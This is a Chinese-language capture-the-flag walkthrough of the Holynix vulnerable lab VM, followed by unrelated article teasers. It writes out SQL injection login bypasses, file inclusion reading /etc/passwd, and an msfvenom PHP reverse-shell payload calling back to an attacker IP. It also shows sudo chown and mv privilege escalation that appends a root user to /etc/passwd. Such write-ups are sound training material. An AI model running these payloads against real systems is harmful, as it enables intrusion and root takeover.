Holynix

信息收集階段

存活主機探測:arp-scan -l

當然了,正常來說我們不應該使用arp進行探測,arp探測的是arp的緩存表,我們應該利用nmap進行探測!

nmap -sT --min-rate 10000 192.168.182.0/24

端口探測

nmap -sT --min-rate 10000 -p- 192.168.182.132Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:42 CST
Nmap scan report for 192.168.182.132
Host is up (0.0017s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:BC:05:DE (VMware)Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds

只開放了80端口??

避免出現遺漏,做了UDP的端口掃描:

nmap -sU --top-ports 20 192.168.182.132 PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    closed        dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:BC:05:DE (VMware)

版本服務信息探測

nmap -sT -sV -sC -O -p80 192.168.182.132Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:43 CST
Nmap scan report for 192.168.182.132
Host is up (0.00040s latency).PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP|router|phone|switch
Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (92%), Suga embedded (92%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3
Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linksys RV042 router (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

80端口上開啟的是apache服務,然后存在PHP版本是5.2.4 目標靶機可能是一臺ubuntu

漏洞腳本探測

nmap -sT --script=vuln -p80 192.168.182.132

滲透測試

既然只有一個端口的話,那就直接去訪問一下把

????????Na...工廠產品服務器,然后下面提示我們必須登錄來查看受限制的內容!

????????旁邊有兩個鏈接,分別是主頁和登錄的界面!

????????首先在這里我便嘗試了弱口令進行登錄,發現登錄不成功!

????????有提示信息!給到了系統管理員的郵箱地址!感覺前面的名稱就是系統管理員的名稱吧?不妨再試試他的用戶名加上弱口令?無果!

直接上bp抓包進行測試:

突然發現了url地址上面的參數!測一波文件包含!

可以文件包含,但是讀不到/etc/passwd

回到sql注入上把,首先測試了user_name上并沒有sql注入!password呢?

????????出現了報錯!存在sql注入了!

直接上sqlmap吧:

????????一鍵化:

python sqlmap.py -r 1.txt --dbs -dump -batch

同時還發現了幾個路徑!

先看看這幾個文件是否能夠訪問到吧:

顯示內容被限制了,應該是我們登陸進去才可以訪問!這里在訪問messageboard.php的時候,通過文件包含訪問到了如下的信息:

最下面還存在一個提交的地方:

不知道能不能上傳文件!嘗試一下!

能寫,但是并沒有被解析!其他的頁面都是content restricted!

還是嘗試進行登錄!本來上面登錄錯誤的時候我們就看到了system administrator!想用這個賬號進行登錄的,但是沒登陸成功!(后面有測試了下這個system administrator賬號 可以登錄 但是沒有上傳的權限!)嘗試其他的賬號 這里利用第一個賬號便成功登陸進來了!

可以看到有很多的鏈接!一眼看上去就是去看看upload是否能夠上傳文件!

看看能不能上傳!

home目錄還不讓這個用戶上傳~

看看別的東西,在目錄上面發現了整個公司員工的個人信息:

這些個人信息或許在后面的滲透過程中,會起到作用,但是我還是想上傳,嘗試下其他的用戶能不能上傳吧先!

發現第二個用戶便可以上傳文件,有權限了!問題又來了 文件上傳之后的路徑沒有~

回去看看信息收集的路徑吧,除了icons目錄下面存在東西之外其他的都看不到!發現標題說的是家目錄上傳!

http://192.168.182.132/~username/

找到了文件上傳的路徑,但是他執行不了~ 第一次遇見執行不了的文件~

前面上傳的時候可以自動提取壓縮包里面的文件,構造壓縮包:

tar -zcvf info.tar.gz info.php

直接上傳壓縮包!

這里直接利用msfvenom生成反彈shell的木馬,進行上傳!

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.182.130 lport=4444 -f raw > shel1.php

之后嘗試利用tar進行壓縮!

本地起監聽:之后訪問這個shel1.php文件,但是發現執行就斷開了。。。

不知道這是為啥!/usr/share/webshells下面也有反彈shell的腳本,嘗試拿出來在試試:

現在重新進行打包上傳!

本地起一個監聽:

利用curl觸發反彈shell:

curl http://192.168.182.132/~etenenbaum/php-reverse-shell.php

成功拿到了shell!

提權

利用dpkg判斷是否存在python!嘗試建立一個交互性良好的shell環境!

dpkg -l | grep python 

存在python!

python -c "import pty;pty.spawn('/bin/bash')"

嘗試看一下當前用戶可以執行哪些特權:

發現存在四個命令,在使用的時候,可以以root身份進行運行并且不需要密碼!(chown chgrp tar mv!)

首先來了解一下chown!這里我google了chown提權!這個命令確實能夠實現提權!!!

chown命令

chown是linux環境下用于設置文件所有者和文件關聯組的命令,當以root權限運行chown的時候,有多種
可能性可以實現提權!

示例

用戶可以通過sudo運行chown,且沒有任何的參數!

運行下面的命令可以修改/etc/passwd文件的所有者為test用戶,然后通過修改該文件進行提權:遮蓋題目為例題進行演示:

#首先我們通過sudo -l 查看當前用戶的權限,發現該用戶能夠以root身份執行chown 并且不需要密碼
#當前用戶是www-data
sudo chown www-data /etc/passwd

之后我們隨便找一個密碼(superman),利用openssl對其進行加密:

openssl passwd superman

$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0

然后在/etc/passwd文件中添加一個具有root權限的新用戶(比如說是root2),并使用上面生成的加密密碼!

echo 'root2:$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0:0:0:root:/root:/bin/sh' >> /etc/passwd

查看是否存在追加成功!

追加成功,嘗試使用root2的身份登錄:

su root2 

????????提權成功!參考鏈接:Linux提權系列 - chown - 掘金

【補充】

????????看了紅隊筆記的視頻后,發現自己遺漏了很多的東西,雖然這個靶場打通了~

sql注入突破

????????完全沒必要上sqlmap,而且在練習的過程中,盡量不要使用大型的一鍵化的工具!

既然我們知道了存在sql注入,那么就可以使用萬能賬號和萬能密碼進行登錄:

因為sql注入的點在密碼字段所以用戶名任意
密碼是' or 1=1-- 

直接登陸成功!用戶是:

alamo!!!

????????然后就是文件包含,因為上面我也知道存在文件包含,但是一直沒讀到什么有價值的東西,突破點錯了:

????????display file:顯示文件! 查看源碼:

????????發現確實下面都是文件!!!嘗試修改為/etc/passwd

????????然后再次點擊display file,可以看到參數是text_file_name,之后我們就可以直接將這個參數寫在url里面!如:http://x.x.x.x/xxxxxx&text_file_name=/etc/passwd

成功讀取到/etc/passwd文件 ,發現了很多的用戶信息!讀取shadow文件不成功!之后便是到了文件上傳的地方,一開始使用alamo這個賬號是沒有上傳的權限,就是根據這里的passwd文件中的各個用戶信息!我們嘗試換一個賬號進行登錄:

select * from accounts where username='' and password=''

既然我們已經知道了sql的查詢語句,因此我們嘗試用戶名就是xxx,隨便寫,后面的password給一個' or username='etenenbaum'--

select * from accounts where username='xxx' and password='' or username='etenenbaum'-- '

成功登陸上來!之后我們發現利用upload.php文件進行上傳。后面交給transfer.php文件進行處理,那么我們便可以通過文件包含的形式來讀取transfer.php文件的源碼!

知道了他是利用tar進行文件的解壓,那么我們便可以給他上傳一個利用tar壓縮的壓縮包(里面就是反彈shell的文件 !)

之后還利用到了locate查找文件!(查找符合條件的文件,他會去保存文件和目錄名稱的數據庫內,查找符合文檔樣式的文件)

還有一個點就是越權!利用bp抓到的數據包在cookie字段存在uid=1,這里修改uid=2 就可以實現越權!

提權

然后就是提權的過程,跟我的方法也是不一樣,用到了mv!mv 文件1 文件2 這種方式可以將文件1 重命名為文件2

那么他就是利用mv /bin/su /bin/tar 因為tar執行的時候是以root身份執行的并且是不需要密碼的,所以說將su重命名為了 tar 執行tar 實際上執行的是su

首先將tar備份一下!然后我們將/bin/sh 重命名為/bin/tar !利用sudo tar 執行tar!實際執行的是/bin/sh

也可以是/bin/su 重命名為/bin/tar!(sudo tar)

直接輸入su 就是切換到root用戶,然而執行這個命令,又不需要root的密碼,因此就成功的實現了提權操作!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/209363.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/209363.shtml
英文地址,請注明出處:http://en.pswp.cn/news/209363.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Navicat 技術指引 | 適用于 GaussDB 分布式的調試器

Navicat Premium(16.3.3 Windows 版或以上)正式支持 GaussDB 分布式數據庫。GaussDB 分布式模式更適合對系統可用性和數據處理能力要求較高的場景。Navicat 工具不僅提供可視化數據查看和編輯功能,還提供強大的高階功能(如模型、結…

golang學習筆記——數據結構進階

文章目錄 數據結構進階mapmap示例sliceinterfaceembedded 數據結構進階 map map 讀取某個值時 - 返回結果可以為 value,bool 或者 value。注意后者,在key不存在時,會返回value對應類型的默認值map 的 range 方法需要注意 - key,value 或者 key。注意后…

【數據結構】單調棧與單調隊列算法總結

單調棧 知識概覽 單調棧最常見的應用是找到每一個數離它最近的且比它小的數。單調棧考慮的方式和雙指針類似,都是先想一下暴力做法是什么,然后再挖掘一些性質如單調性,最終可以把目光集中在比較少的狀態中,從而達到降低時間復雜…

業務設計原則

《億級流量網站架構核心技術》讀書筆記 一、防重設計 防重是通過在盡可能前端的位置阻擋請求重復執行,從而防止影響業務。它主要運用于“重復發生會造成業務影響”的場景。 請求本身可以發生多次,需要定義何為同一條業務數據。 分成業務本身允許多次和…

JS中call()、apply()、bind()改變this指向的原理

大家如果想了解改變this指向的方法,大家可以閱讀本人的這篇改變this指向的六種方法 大家有沒有想過這三種方法是如何改變this指向的?我們可以自己寫嗎? 答案是:可以自己寫的 讓我為大家介紹一下吧! 1.call()方法的原理…

Python 語言在 Web 開發上有哪些應用框架?

Python 是一門多用途的編程語言,其簡潔、易讀且強大的特性使其成為Web開發領域的一種熱門選擇。Python Web開發框架提供了豐富的工具和功能,使得開發者能夠更高效地構建各種規模和類型的Web應用。以下是一些在Python Web開發中常用的框架,每個…

[mysql]linux安裝mysql5.7

之前安裝的時候遇到了很多問題,浪費了一些時間。整理出這份教程,照著做基本一遍過。 這是安裝包: 鏈接:https://pan.baidu.com/s/1gBuQBjA4R5qRYZKPKN3uXw?pwd1nuz 1.下載安裝包,上傳到linux。我這里就放到downloads目錄下面…

WaitGroup原理分析

背景 在實際業務開發中,我們會遇到以下場景:請求數據庫,批量獲取1000條數據記錄后,處理數據 為了減少因一次批量獲取的數據太多,導致的數據庫延時增加,我們可以把一次請求拆分成多次請求,并發去…

C#-快速剖析文件和流,并使用

目錄 一、概述 二、文件系統 1、檢查驅動器信息 2、Path 3、文件和文件夾 三、流 1、FileStream 2、StreamWriter與StreamReader 3、BinaryWriter與BinaryReader 一、概述 文件,具有永久存儲及特定順序的字節組成的一個有序、具有名稱的集合; …

大模型的全方位評估

摘要: 評估通過提供一種跟蹤進度、理解模型以及記錄其能力和偏差的方法,為基礎大模型提供了背景。基礎大模型挑戰了機器學習中標準評估范式實現這些目標的能力,因為它們距離特定任務只有一步之遙。為了設想適合基礎模型的評估新范式&#xff…

枚舉 LeetCode2048. 下一個更大的數值平衡數

如果整數 x 滿足:對于每個數位 d ,這個數位 恰好 在 x 中出現 d 次。那么整數 x 就是一個 數值平衡數 。 給你一個整數 n ,請你返回 嚴格大于 n 的 最小數值平衡數 。 如果n的位數是k,n它的下一個大的平衡數一定不會超過 k1個k1…

圖論——最小生成樹

圖論——最小生成樹 A wise man changes his mind, a fool never will 生成樹 一個連通圖的生成樹是一個極小的連通子圖,它包含圖中全部的n個頂點,但只有構成一棵樹的n-1條邊。 最小生成樹 在這些邊中選擇N-1條出來,連接所有的N個點。這N-1…

Java后端的登錄、注冊接口是怎么實現的

目錄 Java后端的登錄、注冊接口是怎么實現的 Java后端的登錄接口是怎么實現的 Java后端的注冊接口怎么實現? 如何防止SQL注入攻擊? Java后端的登錄、注冊接口是怎么實現的 Java后端的登錄接口是怎么實現的 Java后端的登錄接口的實現方式有很多種&a…

使用git出現的問題

保證 首先保證自己的git已經下載 其次保證自己的gitee賬號已經安裝并且已經生成ssh公鑰 保證自己要push的代碼在要上傳的文件夾內并且配置文件等都在父文件夾(也就是文件沒有套著文件) 問題 1 $ git push origin master gitgitee.com: Permission de…

近似同態加密的 IND/SIM-CPA+ 安全性:對于 CKKS 實際有效的攻擊

參考文獻: [LM21] Li B, Micciancio D. On the security of homomorphic encryption on approximate numbers[C]//Advances in Cryptology–EUROCRYPT 2021: 40th Annual International Conference on the Theory and Applications of Cryptographic Techniques, Z…

【Linux】命令expect使用詳解

🦄 個人主頁——🎐個人主頁 🎐?🍁 🪁🍁🪁🍁🪁🍁🪁🍁 感謝點贊和關注 ,每天進步一點點!加油!&…

【上海大學數字邏輯實驗報告】五、記憶元件測試

一、實驗目的 掌握R-S觸發器、D觸發器和JK觸發器的工作原理及其相互轉換。學會用74LS00芯片構成鐘控RS觸發器。學會用74LS112實現D觸發器學會在Quartus II上用D觸發器實現JK觸發器。 二、實驗原理 基本R-S觸發器是直接復位-置位的觸發器,它是構成各種功能的觸發器…

AI文檔助手,當下熱門的AI文檔助手【2024】

在當今信息爆炸的時代,文檔創作的需求愈發龐大。為了滿足用戶對高效、準確、原創性文檔的需求,人工智能技術的應用日益廣泛。本文將專心分享AI文檔助手領域的熱門推薦。 AI文檔助手的背景與應用 AI文檔助手作為人工智能技術在文檔創作領域的一大應用&am…

nginx配置自建SSL證書

文章目錄 前言配置SSL證書SSL證書放在 Nginx 而不放在應用服務器上的好處Nginx只能轉發http協議嗎Nginx轉發TCP協議會收到端口限制嗎Nginx本身能將Websocket數據轉化成TCP數據嗎總結 前言 之前的一篇文章《自建CA并生成自簽名SSL證書》中講到為什么要自建CA和自簽名SSL證書&am…

velocity-engine-core是什么?Velocity模板引擎的使用

velocity-engine-core是什么?Velocity模板引擎的使用 1. 常見的模板引擎2. Velocity 的語法3.Velocity的使用 相信在日常開發中或多或少都聽過或者使用過模板引擎,比如熟知的freemarker, thymeleaf等。而模板引擎就是為了實現View和Data分離而產生的。 而…